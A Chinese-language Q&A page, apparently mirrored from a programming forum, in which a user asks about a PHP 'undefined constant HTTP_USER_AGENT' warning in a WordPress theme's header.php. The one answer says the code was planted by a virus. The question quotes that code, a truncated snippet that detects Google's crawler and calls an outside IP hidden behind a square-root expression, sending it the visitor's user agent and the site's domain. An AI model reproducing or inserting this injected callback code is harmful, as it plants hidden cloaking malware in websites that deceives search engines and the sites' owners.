【问题标题】:Warning: Use of undefined constant HTTP_USER_AGENT - on line 1警告:使用未定义的常量 HTTP_USER_AGENT - 在第 1 行
【发布时间】:2019-12-25 11:31:47
【问题描述】:

下面是我的代码:

<?php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(" ", "-", $botbotbot);if (strpos($botbotbot,"google")){$ch = curl_init();    $xxx = sqrt(30976);    curl_setopt($ch, CURLOPT_URL, "http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]"

我遇到的错误:

警告:使用未定义的常量 HTTP_USER_AGENT - 假定 'HTTP_USER_AGENT'(这将在未来版本的 PHP) 在 G:\PleskVhosts\pdmsweb.com\mak-consultant.com\wp-content\themes\themify-ultra\header.php 第 1 行

【问题讨论】:

标签: php


【解决方案1】:

有点晚了,但这是由进入您网站的病毒添加的。

【讨论】:

    猜你喜欢
    • 2019-01-14
    • 1970-01-01
    • 2020-03-09
    • 1970-01-01
    • 1970-01-01
    • 2013-04-26
    • 1970-01-01
    • 2015-12-18
    • 1970-01-01
    相关资源
    最近更新 更多